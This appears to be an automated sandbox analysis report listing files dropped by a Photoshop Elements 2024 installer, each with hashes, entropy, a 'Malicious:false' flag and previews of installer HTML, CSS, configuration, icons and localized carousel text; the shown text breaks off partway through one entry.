                                                                                                Preview:body {.. line-height: normal;.. font-family: 'Adobe Clean', sans-serif;.. height: 650px;...height:40.625rem;.. margin: 0;.. -webkit-user-select: none;.. cursor: default;..}.....container {.. height: 100%;..}....#piiScreenIcon {.. width:100%;..}....#piiScreenIconImage{.. display:block;.. margin: auto auto;..}....#piiScreenTitle {.. margin-top:10px;.. text-align : center;.. line-height: 36px;..}.....consistantPad {.. padding: 30px;.. padding: 1.875rem;..}.....pull-left {.. float: left;..}.....pull-right {.. float: right;..}.....text-center {.. text-align: center;..}.....mainContainer {.. width: 446px;.. width: 27.875rem;.. height: 650px;.. height: 40.625rem;..}.....header {...height: 65px;.. height: 4.0625rem;.. background: #1c1c1c;..}....#marketingIFrameDiv {.. height: 585px;.. height: 36.5625rem;.. width: 100%;.. display: none;..}.....centerMid {.. position: absolute;.. top: 0;.. bottom: 0;..

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\main.html

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):8889
                                                                                                Entropy (8bit):4.390770211617367
                                                                                                Encrypted:false
                                                                                                SSDEEP:96:kPmVwag1t6ZfB6FkWuHKH5BuMt1IvodJiLWkp0pGhG:WmV/g1t61B6GWpjrdJCWME
                                                                                                MD5:F4B7942D6563727BD614F10DA0F38445
                                                                                                SHA1:84F22240F7A5ED1C23B09E8677AC2AC3CD4E26F9
                                                                                                SHA-256:E4BEDDE22ED405D291C746440A824D5F8527FB232E7A6BE2ED9A76465D82F8DC
                                                                                                SHA-512:F79B24AC78863A4ED87D41F37B2A5BC27017EBC5317F0A305D676090A16AEE8A61384B476E7E9A68A024AA8DA4784C1BD4F118766CAF4450EC97AF430E7074AF
                                                                                                Malicious:false
                                                                                                Preview:<!DOCTYPE html>..<html style="width: 100%; height: 100%; overflow:hidden;">..<head>.. <meta charset="UTF-8">.. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE10" />.. <title>Adobe Installer</title>.. <link rel="stylesheet" type="text/css" href="clean.css">.. <link rel="stylesheet" type="text/css" href="main.css">.. <link rel="stylesheet" type="text/css" href="common.css">....</head>....<body onload="onLoadComplete()">.. <div class="container">.... <div id="spinnerScreen" class="screen">.. <div class="spinnerContent centerMid">.. <img id="spinnerScreenImage" class="imageSpinner" />.. <span id="spinnerScreenText" class="spinnerScreenText"></span>.. </div>.. </div>.... <div class="screen consistantPad" id="surveyScreen">.. <div class="screenHead">.. <img id="surveyScreenIcon" />.. <span id="surveyScreenTitle" class="screenTitle"></span>..

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\main.js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with very long lines (371), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):59941
                                                                                                Entropy (8bit):5.0285479750353765
                                                                                                Encrypted:false
                                                                                                SSDEEP:1536:qMb4bHj7Bqyb6fa8xtFfs5OsKwHV7NYb2gROlIHKMUyup9c/ory985r/Mv6GN8zj:qMb4bHj7Bn6faMtFfs5OsKwHV7NYb2gq
                                                                                                MD5:A8F9EB478C7512C98CA1AD46DBCC298A
                                                                                                SHA1:454226DC42B911CAAFC9A1E56D8AD0000BBB7643
                                                                                                SHA-256:1DF6CBDC80C1DF47D93D6E7516A2D7017362413A6B9D93634E143856695C3645
                                                                                                SHA-512:AE3198CC6AE739F3009359988F5C090664E5FE8422AD1CF739FE316E66F344C10385D1F841C7B0E3CA9F7997C79D95FA0559386B6DEC10641CEB8C290B14F5B3
                                                                                                Malicious:false
                                                                                                Preview:/*************************************************************************..*..* ADOBE CONFIDENTIAL..* ___________________..*..* Copyright 2015 Adobe Systems Incorporated..* All Rights Reserved...*..* NOTICE: All information contained herein is, and remains..* the property of Adobe Systems Incorporated and its suppliers,..* if any. The intellectual and technical concepts contained..* herein are proprietary to Adobe Systems Incorporated and its..* suppliers and are protected by trade secret or copyright law...* Dissemination of this information or reproduction of this material..* is strictly forbidden unless prior written permission is obtained..* from Adobe Systems Incorporated...**************************************************************************/..var popUpShownOnce = false;..var lastScreenShown = null;..if (!Array.prototype.indexOf) {.. Array.prototype.indexOf = function (obj, start) {.. for (var i = (start || 0), j = this.length; i < j; i++) {.. if (t

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\Config.xml

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):537
                                                                                                Entropy (8bit):5.147241145555799
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:TMHdtTyKAywopOGmNTWe7SJJnPd+p3mv9NhuaAi4HY2:2dtTgopj2GJJnPd+p3mvXB2
                                                                                                MD5:9BF27F7E06B54FC3711224323D4FA105
                                                                                                SHA1:F870330D52A34C4E3F475CE117E779A510FF3501
                                                                                                SHA-256:195A6EEB37951C00E8A3CD3366F0BE21AB9AA4124379D5B8EC468A9368F477FD
                                                                                                SHA-512:4727BE8B5C550F3B578360512FC243CA9599112B44088066F6204B09D30238BC51100E1B45DDD549DAE0F5990A924216CC0330AAB9B036B8AB445D44306BDEC0
                                                                                                Malicious:false
                                                                                                Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<Config>...<UIConfig>....<HideVersion>true</HideVersion>....<SkipLaunch>false</SkipLaunch>....<HidePIIScreen>false</HidePIIScreen>....<ShowInstallOptions>true</ShowInstallOptions>....<CarouselType>GenericCarousel</CarouselType>....<SkipAccLaunch>true</SkipAccLaunch>....<LaunchProductDetail>.....<ProductInfo>......<SAPCode>HPSE</SAPCode>......<BaseVersion>24.0</BaseVersion> ......<Platform>win64</Platform>.....</ProductInfo>....</LaunchProductDetail>...</UIConfig>..</Config>..

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\appIcon.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 88 x 84, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):3054
                                                                                                Entropy (8bit):7.920741815156119
                                                                                                Encrypted:false
                                                                                                SSDEEP:48:EetobvO+qOt7dLQDys5pZBAmoM67nXGzwONXAyP+RNONUTRbUc:EetOhlldkDy6ploN7O3NQyoON2F
                                                                                                MD5:EB5FDB63686193E55826A8DD77D64412
                                                                                                SHA1:977C4788ABF0F274E74281C4DA76C0C3D2F26B76
                                                                                                SHA-256:1DBCFFB6B2837F5C42CC90713F01F7E7E82B45337DE78B1204F67E0AD7FA488B
                                                                                                SHA-512:C3849CC0A289A36A70E7B4968BC379E118CA80D3E87AFF2477FD7FBD514B66CD67E199B17B41277A6F3C8794B88CC69532B233016BFEC2EE98D3F0C17DBBC4E8
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR...X...T......W.O....pHYs...........~.....IDATx..]kl...>k....c.6v.....HL....*.,."..(U..*?Z....O!R.3.....?m.T.R5.............$.B.%P.K.~?.56.1[}.{.y..;............{.;.L&Cv.5o]EDOd.{......"ED...a..I...;+.C.[A.A"...%...h_&....~.....&.....0.......2..I.5...{....9.9"..\..c.\O.g...#8..F.wPi..TT..G.#9.8.|.[....vRq.v`2......Q..i.5.#.K.,.....l.p6.+)o.@5...0..T_.]O....$a#..."...z8.g.k.X5.@...0....8....b...}....q.j.,.>8TRjx...e.?.6.N.t..qO1..MD..l...r.j.Ozh...4.........T.f.........^.+$A..hU...}.)*.........f..i o:...E.,....*[6Q.8L..Lt.....,6....*o._.m..{P...,.$fG/S8.`..........O..u.NP....Tk.^..q=..M]:mz...>....&]........|zL...(.>..5To.M......Y....P.............P>$...a_.....Xu! 0...aY..Stc...y@....8L..&..\..#Q....w....ZaCWF... ...B.....Vw.....%_..`#a..^.%....>[!.X.!oB.;.F.6s.".?=)........6.B.g.R..B..N...4@.FO......Z.!,.B.I4.........&k....A.....;!...J.}%...'T~..9E...o..+.J..?...g..R....... ....Q......c....z..F.B...Za.FN.Z..+X(".d.

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\appIcon2x.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 176 x 168, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):6367
                                                                                                Entropy (8bit):7.956445451701175
                                                                                                Encrypted:false
                                                                                                SSDEEP:192:h9MSclSloV7H9lto+rXTyjlWRixx1dYsxe:LtXo1H9Po+rDyjlWRiXXYv
                                                                                                MD5:2152D117D6E4FDEB0510DA1FDCEAE7E3
                                                                                                SHA1:ACD10C0B6653041E6CE4241DCCEF1445D12E2DB8
                                                                                                SHA-256:4A95D46DAC22AA1477093EB7B5655A73C3C7152A985AB7A5148327E93309F985
                                                                                                SHA-512:5A7AF9736FC3C7329FC680BBAA80FDD8D74F0D98D2422CC57C64B78A30D3C68F799F5E584CF1D6D283B6E827FC391130484C2726D59C70D97AE2D0774239AF2F
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR.............@2d.....pHYs...........~.....IDATx..m...y..o.+{.eaYb_..c.cC0.j-...VPLJbT\.......P..*.Kl.%}.j>......$;2.....G1...v....).0....e.e..n.?{g=wv.33..y.I.6./s...3..9.y&S,.I..\..D.?..(KD.Y.N. .a":FD...}.+.l.gr=;.hKI..R_<%.. d".W.....3H.p&...^$...hS8@...b.../..3......h{...x....b.o..W....\.".T.)>.v..........#.../."...Nn..W.8...Rr..xSd.M.+iL.a.gr=......(...[..B)D&..z......|...[r#p*...^.#.....T.)a...NTL!J....t5..T.]Lu....L..Da.n_=...%....}..>...K..cI2lM....G..u.../N..K....hj....%.|..Jl....R."m..*.......3.... .5../..VY..9......./..]..g)S;..s....>...?Rrl)..T...2..2..z..%!u@...9O.53=V....Is.`@*...;a.B.JJ....xAuc+...c...e..4:.l.....K.w...uZ.......45z..#..#..(QU[O.VnPv.M..Xj.|.{..%.j......>@X...1..+......uVb.j..G7..8.....|....K..#.....M/8>..r`wY....|...^H.........U.[T.q.1t|.........C...wO"L....f.....A..t...~..Z.:..5O1az!5zR`iD..~........H.....|..{..JT.a....X.IW.|..jj]....>...!.;1r...t..W0Y...G..L.. S]#.\<.....tg.6{....!

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\cs_cz\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1015
                                                                                                Entropy (8bit):5.284650663061944
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:M0X5cRWm36aKQgO3lcQgj8fPJmKhxRR+SPoy1KaY4ScBhPbxZtqy3Ui:l566JQgC7gYfPRhx6SPo1/LcXNZtp
                                                                                                MD5:44DB45EFBB65BAC062FB7C8B849A203D
                                                                                                SHA1:00E75EA3FADB83DFC42616DEDF831F6BF8017EDC
                                                                                                SHA-256:3D4D96649072E293B76A41A497B19BC48811B2C8BE9D2742255B96751BC09FEB
                                                                                                SHA-512:683D31755D68816B6CD575956C2161FF92A89C4B8C6D188683E435E6C4BE5DA621FF9819DA65EFB524C1983395154DA8DAE98ED94F236A71517BF13CE519A64B
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "V.ukov. lekce k aplikaci Photoshop Elements",.. "SubTitle": "Za.n.te, nau.te se z.klady a nechte se inspirovat.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64bitov. verze) (minim.ln. po.adavek)",.. "OperatingSystemMac": "Mac OS 10.12 (minim.ln. po.adavek)",.. "Memory": "Instalace aplikace vy.aduje alespo. 4 GB pam.ti RAM",.. "TextSlide1": "Sjedno.te barvu a.t.n s.jinou fotografi. nebo vyu.ijte p.ednastaven..",.. "TextSlide2": "Vytvo.te stylizovan. text za p.r sekund.",.. "TextSlide3": "Vytv..ejte a sd.lejte foto p.sma ve form.tu MP4.",.. "TextSlide4": "Jedn.m kliknut.m vyb.rejte oblohu nebo pozad.. ",.. "TextSlide5": "Nov., osv..en. podoba - se sv.tl.mi a tmav.mi re.imy.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panel Rychl. akce pro .pravy jedn.m kliknut.m",.. "TextSlide8": "Integrace slu.by Adobe Stock",.. "TextSlide9": "Aktualizace webov. a.mobiln. verze ",.. "TextSlide10": "(betaverze pouze v.an

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\de_de\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):946
                                                                                                Entropy (8bit):4.953889317998113
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:ARWqWN36awP3lc90XpYn9VVRndMMAEBzSKhm5tG9kx:vX6hfyXn9523GI5tV
                                                                                                MD5:1FBC842F9A1E6F76E6ACF661816FE62E
                                                                                                SHA1:D8B0EC6941246B4B423C1A15467EFBCAEC8121A7
                                                                                                SHA-256:5D6ABD25084CBF6F04D54C0164E5E0B3F89D969A91E2E850C7DAE77588E571B8
                                                                                                SHA-512:58A0A04E76B0D0F35EAA01B03F37DFBBEDD60279FFCCB26CC4FD34F6562DD8ECA8CF1891578861A06C393AA82A5E41537618D6598E4080264FBB1B4C7B024170
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements . Tutorials",.. "SubTitle": "Erste Schritte, Grundlagen, Inspirationen.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-Bit) (mindestens erforderlich)",.. "OperatingSystemMac": "Mac OS 10.12 (mindestens erforderlich)",.. "Memory": "Sie ben.tigen mindestens 4 GB RAM, um die Anwendung zu installieren",.. "TextSlide1": "An Farbe und Ton eines anderen Fotos anpassen oder Vorgaben nutzen.",.. "TextSlide2": "Stilisierten Text in Sekundenschnelle erstellen.",.. "TextSlide3": "MP4-Foto-Reel erstellen und teilen.",.. "TextSlide4": "Einen Himmel oder Hintergrund per Mausklick ausw.hlen.",.. "TextSlide5": "Neuer, frischer Look . mit Hell- und Dunkel-Modi.",.. "TextSlide6": "Plus",.. "TextSlide7": "Schnellaktionen zur kinderleichten Bearbeitung",.. "TextSlide8": "Integration mit Adobe Stock",.. "TextSlide9": "Web- und Mobil-Updates ",.. "TextSlide10": "(Beta nur in englischer Sprache)"..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\en_US\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):835
                                                                                                Entropy (8bit):5.02637898118712
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:RMRWsRVg6aE3lchllo8ElVwsa5kHgN7FYtQ:RDso6vEWRl6RyANh
                                                                                                MD5:BA0A234966CC8F97101F456C96AC4632
                                                                                                SHA1:8D00C13D7EF727210996BAD946F763B9FDB69FB0
                                                                                                SHA-256:168D3D6C0C91C0850865733EB244760F6BB3DE0902395A443AFC44B02592A048
                                                                                                SHA-512:391F67878830E4C907EEB5A387B94E411A9862559677264AC18A19A36840035520DE7E40B5BEE041483C1AC6B66D3ABDD389E7502C423D6FC701AB2088580D6E
                                                                                                Malicious:false
                                                                                                Preview:{..."Name":."Photoshop Elements tutorials",..."SubTitle":."Get started, get the essentials, get inspired.",..."Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (Minimum required)",.. "OperatingSystemMac": "Mac OS 10.12 (Minimum required)",.. "Memory": "You need minimum 4Gb RAM to install the application",..."TextSlide1": "Match the color & tone from another photo or use presets.",..."TextSlide2": "Create stylized text in seconds.",..."TextSlide3": "Create & share MP4 Photo Reels.",..."TextSlide4": "One-click to select a sky or background.",..."TextSlide5": "New refreshed look . with light and dark modes.",..."TextSlide6": "Plus",..."TextSlide7": "Quick Actions panel for one-click edits",..."TextSlide8": "Adobe Stock integration",..."TextSlide9": "Web & mobile updates ",..."TextSlide10": "(English-only beta)"..}..

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\es_es\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):970
                                                                                                Entropy (8bit):4.889772694170443
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:ycRW05836yd3lcsRmz42/gcA69PAHxZDx8lHntBKvsI:qYY6evB2/GWlHntBAsI
                                                                                                MD5:6D77FA7C087128F0DDACB5D1C86C95E2
                                                                                                SHA1:668E0CA6D419FA09A4DB81BC8469BAF686835A46
                                                                                                SHA-256:320A7B8CD564064EC11925C96F0F323B19FFC82440439C4B87ABFF59A658F1E5
                                                                                                SHA-512:2F66150B342F41F2968B44001EE53F6457081DD58A715DDF68DFFAE3B5213643AA7BB6435E7DFDAB518533EFDD0A407412B8DF9948A7CAAB14A34BE6C6377CDC
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Tutoriales de Photoshop Elements",.. "SubTitle": "Empiece, descubra los fundamentos y encuentre inspiraci.n.",.. "Operating1xWin": "Windows 7 con Service Pack 1 (64 bits) (m.nimo requerido)",.. "OperatingSystemMac": "Mac OS 10.12 (m.nimo requerido)",.. "Memory": "Se necesita un m.nimo de 4.GB de RAM para instalar la aplicaci.n",.. "TextSlide1": "Combine el color y el tono de otra foto, o bien utilice ajustes preestablecidos.",.. "TextSlide2": "Cree un texto estilizado en segundos.",.. "TextSlide3": "Cree y comparta reels de fotos en MP4.",.. "TextSlide4": "Haga clic una vez para seleccionar un cielo o fondo.",.. "TextSlide5": "Nuevo estilo renovado con modos claro y oscuro.",.. "TextSlide6": "M.s",.. "TextSlide7": "Panel Acciones r.pidas para realizar ediciones con un solo clic",.. "TextSlide8": "Integraci.n con Adobe Stock",.. "TextSlide9": "Actualizaciones web y m.viles ",.. "TextSlide10": "(Beta solo en ingl.s)"..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\fr_fr\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1027
                                                                                                Entropy (8bit):5.00331328127714
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:x6cRWqKJ36hxMM3lQCidzBjNR2NPjyFBWdsBXJKAvE1uoXutXUB9Rn:gqKB6hxt+B1jNR2NVdsBZrvNyutkpn
                                                                                                MD5:CC854F1036F7591BF00E2AFEB465F659
                                                                                                SHA1:60457317A8F7F241C3F94595C13E37F4A8DC3352
                                                                                                SHA-256:67A1C6394300FB01B4DF5C8D1ECCA0AB026797BD2C1BEB09084BEA356DF89754
                                                                                                SHA-512:8A26F56E1E6861C1CFCF07F8349AD0F32FC60D962E5433997B7F6F8B7D361F172A8CDB9717297EC91ECD7989A88B1A93D696382BA5852723528DBACD50F70D8E
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Tutoriels Photoshop Elements",.. "SubTitle": "Lancez-vous, saisissez l'essentiel, soyez inspir..",.. "Operating1xWin": "Windows.7.Service.Pack.1 (64.bits) (minimum requis)",.. "OperatingSystemMac": "Mac.OS.10.12 (minimum requis)",.. "Memory": "Vous avez besoin de 4.Go de m.moire vive minimum pour installer l'application.",.. "TextSlide1": "Faites correspondre la couleur et le ton d.une autre photo ou utilisez des param.tres pr.d.finis.",.. "TextSlide2": "Cr.ez du texte stylis. en quelques secondes.",.. "TextSlide3": "Cr.ez et partagez des Bobines de photos MP4.",.. "TextSlide4": "Un seul clic pour s.lectionner un ciel ou un arri.re-plan.",.. "TextSlide5": "Nouveau look revisit. avec les modes clair et fonc..",.. "TextSlide6": "Plus",.. "TextSlide7": "Panneau Actions rapides pour les modifications en un clic",.. "TextSlide8": "Int.gration dans Adobe Stock",.. "TextSlide9": "Mises . jour Web et mobiles ",.. "TextSlide10": "(Version beta

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\it_it\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):970
                                                                                                Entropy (8bit):4.801728131561229
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:Ym3cRWV9z36aMR13lcqR+8WI69y/2TEeeQIMcwmx4LeJqASUtXIH:JDP61FBvWI693IA5ASUtXo
                                                                                                MD5:37879C31149C21FB5DF9DAADCD67E909
                                                                                                SHA1:20E314739D229E4B5DA2AF435BB0F251C06DB0C9
                                                                                                SHA-256:17AC21F4AD75970E29C644CAC412483B4AB3B5611807E6C963FB72189AD9989B
                                                                                                SHA-512:CF29AC25D8DE0E0AD658B02AF25A0B88CE643F26679BE2B3F2E944E4B558FACBA94804CC88C32F550395708D0BDA003AD09FCBBFA2A9FA8FB70820F7775E0113
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Esercitazioni di Photoshop Elements",.. "SubTitle": "Iniziate, raccogliete tutto ci. che vi serve e lasciatevi ispirare.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64 bit) (versione minima richiesta)",.. "OperatingSystemMac": "Mac OS 10.12 (versione minima richiesta)",.. "Memory": "Sono necessari almeno 4 Gb di RAM per installare l'applicazione",.. "TextSlide1": "Abbina il colore e il tono di un'altra foto o utilizza le preimpostazioni.",.. "TextSlide2": "Crea testo stilizzato in pochi secondi.",.. "TextSlide3": "Crea e condivi i reel di foto in MP4.",.. "TextSlide4": "Fai clic per selezionare un cielo o uno sfondo.",.. "TextSlide5": "Look rinnovato, con modalit. luce e buio.",.. "TextSlide6": "Pi.",.. "TextSlide7": "Pannello Azioni rapide per modifiche con un clic",.. "TextSlide8": "Integrazione con Adobe stock",.. "TextSlide9": "Aggiornamenti Web e per dispositivi mobili ",.. "TextSlide10": "(Beta solo in inglese)"..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\ja_jp\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1127
                                                                                                Entropy (8bit):5.56961836864283
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:ARWOlFK2G5e36asK3lc32QV6XGS8kDqbzEzxQciMCj7EOL0uo8fJNoNYnXe8r:va0h5y65mA2N8hWu5pzxWNYnuo
                                                                                                MD5:C31570E7CCB0FC3A4236B98ABBD0CC08
                                                                                                SHA1:33AFEC87102C157C7A7B80D0058F40F591E0BBC3
                                                                                                SHA-256:E645B23E361162F77EDB93AC9028F094C8CC316B2B9AAB88EA4690D43F554BFE
                                                                                                SHA-512:6B3A2FF37B7EE09BB5FA55DE7F072647DE4F3A54E003C4D08860AB4335E3E2EBB0AB9D483AA853A77D46B2C65F02FCD7CBB5FD12B98C9A88F976D5E64759C035
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements .......",.. "SubTitle": "........................",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (..)",.. "OperatingSystemMac": "Mac OS 10.12 (..)",.. "Memory": "...................... 4GB . RAM ......",.. "TextSlide1": "................................",.. "TextSlide2": "....................",.. "TextSlide3": "MP4 .................",.. "TextSlide4": "1 ....................",.. "TextSlide5": "........................",.. "TextSlide6": "...",.. "TextSlide7": "..............................",.. "TextSlide8": "Adobe Stock

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\ko_kr\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):551
                                                                                                Entropy (8bit):5.719924059723855
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:r4DRWzAwv/WgQYATnJPO4T3bu1BJGvdhEU3lcLD9gT6XOqjYkS9OTKHHVy1JZR:ARWswl8nVO+36UFKU3lcLM6XOqkpAU1O
                                                                                                MD5:079C7C099407A71437825C7DF92A92B1
                                                                                                SHA1:D8195B86E2FC055F86C6EBDF7BBED07A62157A1C
                                                                                                SHA-256:7CBC5BC481D33E921C57652DA070E5536A2292169C8C000548BC9F3B5367B9A6
                                                                                                SHA-512:D7E5FF122D86FDB82A4E939E87F0FFF794010A4C5F79FCE0DC0CCB59E9392B5DA7C52B1B99F2A33FA45998E58936A15B900F4AF385DF9684BC419E626D2634D7
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements ...",.. "SubTitle": ".... .. ... ... .....",.. "Operating1xWin": "Windows 7 ... . 1(64..)(.. .. ..)",.. "OperatingSystemMac": "Mac OS 10.12(.. .. ..)",.. "Memory": "....... ..... .. 4GB. RAM. ......",.. "TextSlide1": "._Instantly turn photos into works of art.",.. "TextSlide2": "._Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._Warp photos to fit any shape."..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\nl_nl\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):950
                                                                                                Entropy (8bit):4.827268491011639
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:IPwcRWDMH36aw3lcXISxODG87cU8XCDUEHEmtclaRAyJK:IUDw6NpSxqfDHvt6yJK
                                                                                                MD5:12B2FAAEC8A5524181967996AE808234
                                                                                                SHA1:45DE57CF1B5C0CD4C7FA4CFF9A2CEF54E3F71B72
                                                                                                SHA-256:06C55DFBC16F965839945B5EF066FE98F05EC8146D5B317D22C7D83D6976D806
                                                                                                SHA-512:C04D15AB32E4F0DE73E124E3A9CD10AEE73C132ACEA29AA343A8DAF5A9680A63B8A5675294880A7447269653F6339D9F215CC311755B3045659A165EF4777B75
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Zelfstudies voor Photoshop Elements",.. "SubTitle": "Ga aan de slag met handige tools en laat u inspireren.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bits) (minimaal vereist)",.. "OperatingSystemMac": "Mac OS 10.12 (minimaal vereist)",.. "Memory": "U hebt minimaal 4 GB RAM nodig om de toepassing te installeren",.. "TextSlide1": "Stem kleur en tint af op een andere foto of gebruik voorinstellingen.",.. "TextSlide2": "Maak in een oogwenk gestileerde tekst.",.. "TextSlide3": "Maak en deel MP4-reels met foto's.",.. "TextSlide4": "Selecteer de lucht of achtergrond met ..n klik.",.. "TextSlide5": "Nieuwe, verbeterde look met lichte en donkere modus.",.. "TextSlide6": "Plus",.. "TextSlide7": "Snelle handelingen voor bewerkingen met ..n muisklik",.. "TextSlide8": "Integratie met Adobe Stock",.. "TextSlide9": "Updates voor internet en mobiele apparaten ",.. "TextSlide10": "(B.ta, alleen Engelstalig)"..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\pl_pl\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1005
                                                                                                Entropy (8bit):5.197252482745693
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:+cRW8l36cr3lctnThcoq19aoy7VyMEnrzyxYqD19t7P6f:GC6WC2zao+VyByYqx9ts
                                                                                                MD5:A2BC40676845B4DDAFEAAB0523FF3671
                                                                                                SHA1:AD321F26CEC3D9F2E6812AB525AB62403A145D6E
                                                                                                SHA-256:55FC0609D045D6691129E51B196C71C3D4D98FC77A4DFE8FC6D62DB75C7B1680
